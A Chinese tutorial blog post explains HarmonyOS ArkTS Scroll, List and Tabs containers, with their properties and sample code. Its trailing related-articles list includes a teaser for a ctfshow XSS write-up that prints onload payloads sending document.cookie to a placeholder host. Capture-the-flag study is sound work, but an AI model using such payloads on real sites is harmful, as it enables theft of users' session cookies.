鸿蒙ArkTS中的布局容器组件(Scroll、List、Tabs)

  1、Scroll组件

  Scroll组件是一个可滚动的容器组件,用于在子组件的布局尺寸超过父组件尺寸时提供滚动功能。它允许在其内部容纳超过自身显示区域的内容,并通过滚动机制来查看全部内容。这对于显示大量信息(如长列表、长篇文本或大型图像等)非常有用。
  常用属性:
  ① scrollable:设置滚动方向。可选值包括ScrollDirection.Vertical(垂直滚动,默认值)和ScrollDirection.Horizontal(水平滚动)。在更新的版本中,也可能支持Axis.Both,表示允许在垂直和水平两个方向上滚动。
  ② scrollBar:设置滚动条状态。可选值包括BarState.Auto(自动显示滚动条,默认值)、BarState.On(始终显示滚动条)和BarState.Off(始终不显示滚动条)。在更新的版本中,也可能使用BarVisibility.Auto、BarVisibility.Always和BarVisibility.Never。
  ③ scrollBarColor和scrollBarWidth:分别用于设置滚动条的颜色和宽度。
  ④ edgeEffect:设置滑动效果。默认值通常为EdgeEffect.None,表示没有滑动效果。其他可选值取决于开发环境和版本。
  ⑤ enableScrollInteraction:设置是否支持滚动手势。当设置为false时,无法通过手指或鼠标滚动,但不影响通过控制器接口进行的滚动。默认值为true。

  测试代码:

function getRandomColor() {
  const letters :string= '0123456789ABCDEF';
  let color:string = '#';
  for (let i = 0; i < 6; i++) {
    let Itemp:number=Math.floor(Math.random() * 16)
    color += letters.substr(Itemp,1);
  }
  return color;
}
function convertColorStringToNumber(colorStr: string): number {
  if (colorStr.startsWith('#')) {
    let r = parseInt(colorStr.slice(1, 3), 16);
    let g = parseInt(colorStr.slice(3, 5), 16);
    let b = parseInt(colorStr.slice(5, 7), 16);
    return (r << 16) | (g << 8) | b;
  }
  return 0;
}
@Extend(Text) function CustomTextStyle(){
  .fontSize(16).fontColor(Color.White).backgroundColor(getRandomColor())
  .width(500).height(150)
  .textAlign(TextAlign.Center)
  .padding(10).margin(10)
  .border({width:1,color:Color.Red})
}
@Entry
@Component
struct Index {
  numbers: string[] = ['1', '2', '3', '4','5','6'];
  @State myBarSate:BarState=BarState.On
  @State myScrollDirection:ScrollDirection=ScrollDirection.Horizontal
  @State myScrollBarColor:Color=Color.Gray
  build() {
    Column(){
          Row(){
            Button('滚动条颜色')
              .onClick(() => {
                this.myScrollBarColor=convertColorStringToNumber(getRandomColor())
              })
                Button('滚动条状态')
                  .onClick(() => {
                    this.myBarSate=( this.myBarSate==BarState.On?BarState.Off:(this.myBarSate==BarState.Off?BarState.Auto:BarState.On) )
                    console.log(this.myBarSate.toString())
                  })
                Button('滚动方向')
                  .onClick(() => {
                    this.myScrollDirection=this.myScrollDirection==ScrollDirection.Horizontal?ScrollDirection.Vertical:ScrollDirection.Horizontal
                    // this.myScrollDirection=ScrollDirection.Vertical
                    console.log(this.myScrollDirection.toString())
                  })
          }.width('100%').height('10%').backgroundColor(Color.Orange)
          Row(){
                Scroll() {
                  Column(){
                    ForEach(this.numbers, (item: string, index: number) => {
                      Row(){
                        Text(item).CustomTextStyle()
                      }
                    })
                  }
                }.scrollBar(this.myBarSate).scrollable(this.myScrollDirection).backgroundColor(Color.Pink).width('100%')
                .scrollBarColor(this.myScrollBarColor).scrollBarWidth(6)
          }.layoutWeight(1).width('100%').justifyContent(FlexAlign.Center)
    }
  }
}

  效果图:

  通过按钮点击可以更换滚动条的颜色、滚动方向和是否可见,设置一个整数变量还可以更改滚动条的宽度。

  二、List组件

  List组件是一个非常重要的容器组件,它用于按照垂直或水平方向线性排列一系列相同宽度的列表项,适合连续、多行呈现同类数据,例如图片和文本。
  常用属性:
  ⑴ space:设置列表项之间的间距。
  ⑵ initialIndex:设置初次加载时起始位置显示的列表项索引。
  ⑶ scroller:控制器,可以控制组件的滚动。
  ⑷ clip:默认值为true,用于设置是否裁剪列表项的内容。
  ⑸ listDirection:设置List组件的排列方向(垂直或水平)。
  ⑹ divider:设置ListItem分割线样式,包括线条宽度、颜色和边距等。
  ⑺ scrollBar:设置滚动条状态。
  ⑻ cachedCount:设置列表中ListItem/ListItemGroup的预加载数量,只在LazyForEach中生效。
  ⑼ edgeEffect:设置边缘滑动效果。
  ⑽ chainAnimation:设置是否启用链式联动动效,开启后列表滑动以及顶部和底部拖拽时会有链式联动的效果。
  ⑾ multiSelectable:设置是否开启鼠标框选。
  ⑿ ListItemAlign:设置列表项滚动结束对齐效果。
  常用方法:列表子项目被点击
  测试代码:

function getRandomColor() {
  const letters :string= '0123456789ABCDEF';
  let color:string = '#';
  for (let i = 0; i < 6; i++) {
    let Itemp:number=Math.floor(Math.random() * 16)
    color += letters.substr(Itemp,1);
  }
  return color;
}
@Extend(Text) function CustomTextStyle(){
  .fontSize(16).fontColor(getRandomColor())
  .width('80%').height(40)
  .textAlign(TextAlign.Start)
  .padding(10).margin(10)
  .borderRadius(10)
  .backgroundColor(0xFFFFFF)
  .border({ width: 2, color: Color.Green })
}
@Entry
@Component
struct Index {
  @State myListDirectiong:Axis=Axis.Vertical
  @State myListCount:Number=1
  @State isCardStyle:boolean = false;
  @State arr: string[]=["1", "2", "3", "4", "5" , "6", "7", "8", "9"];
  @State selectedIndex:number=-1;//被点击项的索引
  @State selectedText: string='';//被点击项的文本内容

  build() {
    Column() {
          Row(){
                Button('列表方向')
                  .onClick(() => {
                        this.myListDirectiong=this.myListDirectiong==Axis.Vertical?Axis.Horizontal:Axis.Vertical
                  })
                Button('2列')
                  .onClick(() => {
                      this.myListCount=2
                  })
                Button('1列')
                  .onClick(() => {
                    this.myListCount=1
                  })
          }.width('90%').height('40%').border({width:2,color:Color.Blue}).backgroundColor(Color.Orange)
          Row(){
                List({ space: 10, initialIndex: 0 }) {
                  ForEach(this.arr, (item: string,index) => {
                    ListItem() {
                      Text(item).CustomTextStyle()
                        .onClick(() => {
                          this.selectedIndex = index;
                          this.selectedText = item;
                          console.log(`点击了索引为${index}的项,文本内容为: ${item}`);
                        });
                    }
                  }, (item: string) => item)
                }.height('60%').width("80%").friction(0.6).border({ width: 4, color: Color.Red }).backgroundColor(Color.Pink)
                  .listDirection(this.myListDirectiong)
                  .lanes(this.myListCount as number,10)
          }
    }.width('100%').height('100%').backgroundColor(Color.Gray)
  }
}

  效果图:

  很多参数都可以在运行中更改,比如可以实现列表的卡片样式和详细列表的切换。

  三、Tabs组件

  Tabs组件是一个在程序中经常用到并且功能强大的容器组件,它允许开发者通过页签来切换不同的内容视图。
  常用属性:
  ⑴ barPosition:设置导航栏的位置。可以是BarPosition.Start(顶部)或BarPosition.End(底部)。当vertical属性为true时,barPosition设置为start则导航栏位于左侧,设置为end则导航栏位于右侧。
  ⑵ vertical:设置导航栏的方向。可以是false(水平)或true(垂直)。
  ⑶ scrollable:控制是否允许滑动。当导航栏的内容过多,无法在一屏内显示完时,可以通过设置scrollable为true来允许滑动。
  ⑷ animationDuration:设置切换动画的时间,单位为毫秒。
  ⑸ barMode:设置导航栏的模式。可以是BarMode.Fixed(固定)或BarMode.Scrollable(滚动)。当标签页过多时,可通过barMode属性设置导航栏的滑动。
  ⑹ barWidth:设置TabBar的宽度。
  ⑺ barHeight:设置TabBar的高度(在垂直模式下使用)。
  ⑻ divider:设置页签之间的分割线样式。
  ⑼ fadingEdge:设置页签超过容器宽度时是否渐隐消失。
  ⑽ barOverlap:设置TabBar是否背后变模糊并叠加在TabContent之上。
  ⑾ barBackgroundColor:设置TabBar的背景颜色。

  常用的点击事件是点击标题栏和具体的选择区域内的元素。

  测试代码:

@Entry
@Component
struct Index {
  @State mySelectedIndex: number = 0
  @Builder
  myBuildBar(index: number, title: string, img?: ResourceStr, selectImg?: ResourceStr) {
    Column() {
      Image(index == this.mySelectedIndex ? selectImg : img).width(30).fillColor(Color.Orange)
      Text(title).fontColor(index == this.mySelectedIndex ?Color.Red:Color.Gray)
        .onClick(()=>{
          console.log(`点击了${title}栏`)
        })
    }
  }

  build() {
    Column() {

          Tabs({ barPosition: BarPosition.Start }) {
                  TabContent() {
                    Text('首页')
                  }.tabBar(this.myBuildBar(0, '首页', $r('app.media.ic_public_view_grid'), $r('app.media.startIcon')))
                  TabContent() {
                    Text('购物')
                  }.tabBar(this.myBuildBar(1, '购物', $r('app.media.Home03'), $r('app.media.Office4')))
                  TabContent() {
                    Text('我的')
                  }.tabBar(this.myBuildBar(2, '我的', $r('app.media.ic_public_download'), $r('app.media.ic_user_portrait')))
          }.onChange((index: number) => {
                this.mySelectedIndex = index;
          }).vertical(false)       //垂直导航  | 水平导航 true
          .scrollable(true)       //允许滑动  | 不允许滑动 false
          .animationDuration(200)   //切换动画时间,毫秒
          // .barMode(BarMode.Scrollable)    //允许标题栏滚动
          .barWidth(150) // 设置标题栏宽度,增加标题之间的间隔
          .barHeight(60) // 设置标题栏高度
    }.width('100%').height('100%').backgroundColor(Color.White)
  }
}

  效果图:


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/911525.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

apache-seata-2.1.0 AT模式使用篇(配置简单)

最近在研究seata的AT模式&#xff0c;先在本地搭建了一个演示demo&#xff0c;看看seata是如何使用的。在网上搜的demo&#xff0c;配置相对来说都比较多。我最终搭建的版本&#xff0c;配置较少&#xff0c;所以写篇文章分享下&#xff0c;希望能帮到对seata感兴趣的小伙伴。先…

卖家必看:亚马逊、temu自养号测评拍单过程中的关键技巧分享

自养号测评是一个循序渐进的过程&#xff0c;许多卖家在测评后却发现流量排名并未显著提升&#xff0c;甚至遭遇了平台警告。即便采用了相同的测评技术&#xff0c;结果却大相径庭。究其原因&#xff0c;除了技术层面的差异&#xff0c;更在于对平台风控规则、测评技巧及细致执…

单细胞 RNA 测序分析的当前最佳实践:教程-文献精读80

Current best practices in single‐cell RNA‐seq analysis: a tutorial 单细胞 RNA 测序分析的当前最佳实践&#xff1a;教程 摘要 单细胞 RNA 测序使基因表达的研究达到了前所未有的分辨率。这项技术的前景吸引了越来越多的用户使用单细胞分析方法。随着更多分析工具的出现…

微积分复习笔记 Calculus Volume 1 - 4.8 L’Hôpital’s Rule

4.8 L’Hpital’s Rule - Calculus Volume 1 | OpenStax

【大语言模型】ACL2024论文-07 BitDistiller: 释放亚4比特大型语言模型的潜力通过自蒸馏

【大语言模型】ACL2024论文-07 BitDistiller: 释放亚4比特大型语言模型的潜力通过自蒸馏 目录 文章目录 【大语言模型】ACL2024论文-07 BitDistiller: 释放亚4比特大型语言模型的潜力通过自蒸馏目录摘要研究背景问题与挑战如何解决创新点算法模型实验效果代码推荐阅读指数&…

积分赛3(D一血题解)

题目&#xff1a; 思路&#xff1a; 找到从起点开始&#xff0c;高度严格单调递增的最大值 代码&#xff1a; #include <iostream>using namespace std;int main () {int n;cin>>n;int mx0;for(int i0; i<n; i){int x;cin>>x;if(x>mx) mxx;else bre…

我谈维纳(Wiener)去噪滤波器

Rafael Gonzalez的《数字图像处理》中&#xff0c;图像复原这章内容几乎全错。本篇只说去噪的问题。 关于图像去噪的滤波器&#xff0c;不考虑降质过程的滤波都不是逆问题。 Gonzalez将自适应中值滤波和自适应局部降噪滤波归并为自适应图像去噪滤波器。尽管它们都是滤波器&…

计算机网络:网络层 —— 多播路由选择协议

文章目录 多播路由选择协议多播转发树构建多播转发树基于源树的多播路由选择建立广播转发树建立多播转发树 组共享树的多播路由选择基于核心的生成树的建立过程 因特网的多播路由选择协议 多播路由选择协议 仅使用 IGMP 并不能在因特网上进行IP多播。连接在局域网上的多播路由…

vscode ssh连接autodl失败

autodl服务器已开启&#xff0c;vscode弹窗显示连接失败 0. 检查状态 这里的端口和主机根据自己的连接更改 ssh -p 52165 rootregion-45.autodl.pro1. 修改config权限 按返回的路径找到config文件 右键--属性--安全--高级--禁用继承--从此对象中删除所有已继承的权限--添加…

阿里云-部署CNI flannel集群网络

环境 1.一台阿里云作为k8s-master:8.130.XXX.231&#xff08;阿里云私有IP&#xff09; 2.Vmware 两个虚拟机分别作为 k8s-node1:192.168.40.131 k8s-node2:192.168.40.131 3.安装Docker 部署过程 k8s-master,k8s-node1,k8s-node2 初始操作 # 关闭防火墙 systemctl stop fi…

CentOS 7 软件/程序安装示例

安装软件/程序 wget&#xff0c;前提需要用 root 用户 1、搜索软件/程序 yum search wget 搜索到软件/程序。 2、安装软件/程序 yum -y install wget 安装完成。 ---------------------------------------------------------------------------------------------------…

[HCTF 2018]WarmUp 1--详细解析

打开靶机&#xff0c;进入界面&#xff1a; 信息搜集 当前界面没有任何有用信息。 想到查看页面源代码。右键–查看页面源代码 看到hint&#xff1a;<!--source.php--> 进入/source.php页面&#xff0c;看到页面源代码&#xff1a; <?phphighlight_file(__FILE_…

Python的函数

一、定义 函数的定义&#xff1a;实现【特定功能】的代码块。 形参&#xff1a;函数定义时的参数&#xff0c;没有实际意义 实参&#xff1a;函数调用/使用时的参数&#xff0c;有实际意义 函数的作用&#xff1a; 简化代码提高代码重用性便于维护和修改提高代码的可扩展性…

ctfshow(319->326)--XSS漏洞--反射型XSS

Web319 思路 先测试过滤&#xff0c;发现过滤了script、img&#xff0c;没有过滤body&#xff0c;svg payload: <body onload"location.hrefhttp://xx.xx.xx.xx/flag.php?cookiedocument.cookie"/><svg onload"location.hrefhttp://xx.xx.xx.xx/fla…

MySQL server 免安装教程

1&#xff0c;下载免安装包-社区版本 https://dev.mysql.com/downloads/file/?id534320 2&#xff0c;解压 放到一电脑某个路径下&#xff0c;整个包 3&#xff0c;创建data 文件夹和my.ini文件 my.ini代码照抄&#xff0c;注意修改路径&#xff0c;与解压后的安装包地址一…

使用ookii-dialogs-wpf在WPF选择文件夹时能输入路径

在进行WPF开发时&#xff0c;System.Windows.Forms.FolderBrowserDialog的选择文件夹功能不支持输入路径&#xff1a; 希望能够获得下图所示的选择文件夹功能&#xff1a; 于是&#xff0c;通过NuGet中安装Ookii.Dialogs.Wpf包&#xff0c;并创建一个简单的工具类&#xff1a; …

Java项目实战II基于Spring Boot的便利店信息管理系统(开发文档+数据库+源码)

目录 一、前言 二、技术介绍 三、系统实现 四、文档参考 五、核心代码 六、源码获取 全栈码农以及毕业设计实战开发&#xff0c;CSDN平台Java领域新星创作者&#xff0c;专注于大学生项目实战开发、讲解和毕业答疑辅导。获取源码联系方式请查看文末 一、前言 在快节奏的…

SpringBoot整合Liquibase对数据库管理和迁移

简介 Liquibase是一个用于用于跟踪、管理和应用数据库变化的开源工具&#xff0c;通过日志文件(changelog)的形式记录数据库的变更(changeset)&#xff0c;然后执行日志文件中的修改&#xff0c;将数据库更新或回滚(rollback)到一致的状态。它的目标是提供一种数据库类型无关的…

练习LabVIEW第四十三题

学习目标&#xff1a; 模拟红绿灯&#xff0c;红灯亮十秒&#xff0c;绿灯亮五秒&#xff0c;交替&#xff0c;并用波形图将波形显示 开始编写&#xff1a; 前面板 两个指示灯&#xff0c;一个红色&#xff0c;一个绿色&#xff0c;一个波形图&#xff1b; 程序框图 创建…

针对解决前后端BUG的个人笔记

1-IDEA Q&#xff1a;Required Java version 17 is not supported by SDK 1.8. The maximum supported Java version is 8. A: 我们只知道IDEA页面创建Spring项目&#xff0c;其实是访问spring initializr去创建项目。故我们可以通过阿里云国服去间接创建Spring项目。将https…